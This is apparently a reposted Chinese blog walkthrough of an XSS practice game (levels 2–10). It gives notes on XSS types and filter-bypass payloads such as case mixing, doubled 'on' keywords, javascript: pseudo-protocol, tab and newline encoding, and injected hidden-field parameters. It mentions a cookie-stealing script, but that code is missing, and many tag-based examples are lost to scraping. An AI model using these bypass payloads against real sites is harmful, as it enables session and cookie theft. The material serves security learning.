XSS----payload,绕过,xss小游戏记录

一.XSS

1.原理:攻击者把恶意的脚本代码注入到网页中,等待其他用户浏览
这些网页(或触发其他条件),从而执行其中的恶意代码。
1.xss实例代码:
test.html



xss_test


    
请输入你的名字

xss.php





测试结果


      

获得cookie 脚本
cookie.php

xss.js

xss分为3类
反射型xss
存储型xss
dom型xss

2.xss的payload








---------------------------------
xxx
两个a标签之间要加东西,不然看不到点击的地方

 //图片未找到
  //图片正常显示
事件 含义
onclick 鼠标单击
onchange 内容发生改变
onerror 图片等未找到时
onload 页面加载
onmouseover 鼠标悬停
onmouseout 鼠标移出
onmousemove 鼠标路过

onchange 用在 input 标签

3.xss 的一些绕过

--标签的属性支持javascript:[code]伪协议

利用空字符
常用字符:【空格】【回车】【Tab】键位符
应用场景:对JavaScript关键字过了过滤

-- 扰乱过滤规则

1)大小写混合

2)引号的使用



3)

利用标签的 href 属性来弹窗
ggtest
这里就是超链接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')是一样的
这里还可以使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie

img标签来弹窗

2.第二题

在次尝试输入基本的payload,看到没有

XSS----payload,绕过,xss小游戏记录_第2张图片
右键查看源代码,搜索我们刚输入的东西,看过滤了什么
XSS----payload,绕过,xss小游戏记录_第3张图片
呗代码复制出来,构造payload,在input 标签里,首先想到onchange事件



" onchange =alert(111) <"

XSS----payload,绕过,xss小游戏记录_第4张图片
还可以

"> <"

XSS----payload,绕过,xss小游戏记录_第5张图片

3.第三关

一样操作,看源代码,构造payload
XSS----payload,绕过,xss小游戏记录_第6张图片
过滤了尖括号
" οnchange=alert(1111) /<"

' onchange='alert(/111/)
  • 这个刚学到的,可能对< " 过滤有帮助
    ' onclick=alert(1)%0a
    %0a用做换行使的input标签语法正确,主要是因为过滤了“>”。

    4.第四关

    XSS----payload,绕过,xss小游戏记录_第7张图片


" onchange=alert(555)<"

5.第五关

XSS----payload,绕过,xss小游戏记录_第8张图片
过滤了script
XSS----payload,绕过,xss小游戏记录_第9张图片
还过滤了on事件
只能利用javascript伪协议

">

6.第六关

XSS----payload,绕过,xss小游戏记录_第10张图片
XSS----payload,绕过,xss小游戏记录_第11张图片
XSS----payload,绕过,xss小游戏记录_第12张图片
XSS----payload,绕过,xss小游戏记录_第13张图片

基本全过滤
尝试大小写绕过

">7.第七关 
   

XSS----payload,绕过,xss小游戏记录_第14张图片


尝试以下

不行,过滤on想到用伪协议
1275435-20180503183326969-1556848509.png
想到伪协议的绕过tab 空格 还是不行,尴尬,看上边过滤是直接把on消失,试试复写。

" Oonnchange=alert(123) id="

XSS----payload,绕过,xss小游戏记录_第15张图片

第八关

XSS----payload,绕过,xss小游戏记录_第16张图片


友情链接

a标签,href直接使用伪协议

javascript:alert(1111)

1275435-20180503185409956-419638124.png
尝试tab
XSS----payload,绕过,xss小游戏记录_第17张图片
| 按键 | url编码|
| :-------- | --------:|
| tab | %09 |
|enter|%0A|
|space|%20|
XSS----payload,绕过,xss小游戏记录_第18张图片
--又有一方法 html10进制编码payload

XSS----payload,绕过,xss小游戏记录_第19张图片
XSS----payload,绕过,xss小游戏记录_第20张图片

第九关

XSS----payload,绕过,xss小游戏记录_第21张图片
XSS----payload,绕过,xss小游戏记录_第22张图片
尝试伪协议

XSS----payload,绕过,xss小游戏记录_第23张图片
并没有弹,应该是/问题,这有一个思路是把http://放到alert里

javascri    pt:alert('http://')
//tab

XSS----payload,绕过,xss小游戏记录_第24张图片
编码
XSS----payload,绕过,xss小游戏记录_第25张图片

第十关

一脸懵逼,没有输入输出点啊
XSS----payload,绕过,xss小游戏记录_第26张图片
还是没有输出点,通过观察发现有3个隐藏的输入input,构造下看看有没有输出

http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=3

发现t_sort参数有东西,窃喜。。


构造
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmousemove=alert(111) id="

~绕过hidden属性的影响

http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmosemove=alert(111) type="text"

XSS----payload,绕过,xss小游戏记录_第27张图片

转载于:https://www.cnblogs.com/hackxf/p/8982144.html

你可能感兴趣的:(XSS----payload,绕过,xss小游戏记录)